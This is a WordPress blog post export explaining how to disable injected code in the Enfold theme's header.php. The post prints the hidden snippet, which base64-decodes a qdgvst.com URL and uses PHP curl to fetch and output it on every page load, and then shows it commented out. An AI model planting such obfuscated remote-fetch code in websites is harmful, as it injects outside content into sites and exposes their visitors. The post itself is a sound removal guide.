{"id":1098,"date":"2014-05-08T02:24:40","date_gmt":"2014-05-08T02:24:40","guid":{"rendered":"http:\/\/www.hickendesign.com\/site\/?p=1098"},"modified":"2014-05-08T02:48:42","modified_gmt":"2014-05-08T02:48:42","slug":"enfold-theme-error-sneaky-connection-to-qdgvst-com","status":"publish","type":"post","link":"https:\/\/www.hickendesign.com\/site\/2014\/05\/enfold-theme-error-sneaky-connection-to-qdgvst-com\/","title":{"rendered":"FIXED: Enfold theme error &#8211; sneaky connection to qdgvst.com"},"content":{"rendered":"<p><a href=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/qdgvst.com_.png\" rel=\"lightbox[1098]\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-1101 size-medium\" src=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/qdgvst.com_-300x127.png?resize=300%2C127\" alt=\"qdgvst.com\" width=\"300\" height=\"127\" srcset=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/qdgvst.com_.png?resize=300%2C127&amp;ssl=1 300w, https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/qdgvst.com_.png?resize=500%2C212&amp;ssl=1 500w, https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/qdgvst.com_.png?w=772&amp;ssl=1 772w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Did your website randomly start showing a 404 not found error? \u00a0Are you using wordpress and the &#8220;Enfold&#8221; theme? \u00a0If the answer to both of these questions is yes, then this fix is for you.<\/p>\n<p>The enfold theme has a sneaky bit of code on line 70\u00a0of header.php. \u00a0It&#8217;s the line where the &lt;body&gt; tag is written to the output. \u00a0It looks like this&#8230;<\/p>\n<p>[php htmlscript=&#8221;true&#8221; wraplines=&#8221;true&#8221; firstline=&#8221;70&#8243;]<br \/>\n&lt;body id=&quot;top&quot; &lt;?php body_class($style.&quot; &quot;.$avia_config[&#8216;font_stack&#8217;].&quot; &quot;.$blank); ?&gt;&gt;&lt;?php<br \/>\n$ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode(&#8216;aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA=&#8217;));<br \/>\ncurl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch); ?&gt;<br \/>\n[\/php]<\/p>\n<p>Notice the base64_decode function. \u00a0After execution, it returns &#8220;http:\/\/qdgvst.com\/l.php&#8221;<span style=\"color: #000000;\">\u00a0which may look familiar. \u00a0Not to worry! \u00a0This is a simple fix!<\/span><\/p>\n<ol>\n<li>Open your wordpress admin site at http:\/\/your-site.com\/wp-admin\/.<\/li>\n<li>Log in and go to &#8220;Appearance &gt; Editor&#8221;.<\/li>\n<li>On the right side of the page, make sure you have selected the &#8220;Enfold&#8221; theme.<a href=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/SelectTheme.png\" rel=\"lightbox[1098]\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1099\" src=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/SelectTheme.png?resize=292%2C41\" alt=\"SelectTheme\" width=\"292\" height=\"41\" \/><\/a><\/li>\n<li>On the right side of the page, click on &#8220;Header &#8211; Header.php&#8221;.<a href=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/Header.png\" rel=\"lightbox[1098]\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1100\" src=\"https:\/\/i0.wp.com\/www.hickendesign.com\/site\/wp-content\/uploads\/2014\/05\/Header.png?resize=199%2C61\" alt=\"Header\" width=\"199\" height=\"61\" \/><\/a><\/li>\n<li>Scroll down to line 70 and add comments around the PHP CURL code. \u00a0When you are done it should look like this&#8230;<br \/>\n[php htmlscript=&#8221;true&#8221; wraplines=&#8221;true&#8221; firstline=&#8221;70&#8243;]<br \/>\n&lt;body id=&quot;top&quot; &lt;?php body_class($style.&quot; &quot;.$avia_config[&#8216;font_stack&#8217;].&quot; &quot;.$blank); ?&gt;&gt;&lt;?php<br \/>\n\/* $ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode(&#8216;aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA=&#8217;));<br \/>\ncurl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch); *\/ ?&gt;<br \/>\n[\/php]<\/li>\n<li>Click the &#8220;Update File&#8221; button at the bottom.<\/li>\n<\/ol>\n<p>Done! \u00a0Not only will this fix the ugly header showing up on your site but it should improve performance a bit as well since your theme won&#8217;t be reaching out to another server all the time.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Did your website randomly start showing a 404 not found error? \u00a0Are you using wordpress and the &#8220;Enfold&#8221; theme? \u00a0If the answer to both of these questions is yes, then this fix is for you. The enfold theme has a sneaky bit of code on line 70\u00a0of header.php. \u00a0It&#8217;s the line where the &lt;body&gt; tag &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.hickendesign.com\/site\/2014\/05\/enfold-theme-error-sneaky-connection-to-qdgvst-com\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;FIXED: Enfold theme error &#8211; sneaky connection to qdgvst.com&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1098","post","type-post","status-publish","format-standard","hentry","category-general-posts"],"aioseo_notices":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/posts\/1098","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/comments?post=1098"}],"version-history":[{"count":8,"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/posts\/1098\/revisions"}],"predecessor-version":[{"id":1109,"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/posts\/1098\/revisions\/1109"}],"wp:attachment":[{"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/media?parent=1098"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/categories?post=1098"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hickendesign.com\/site\/wp-json\/wp\/v2\/tags?post=1098"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}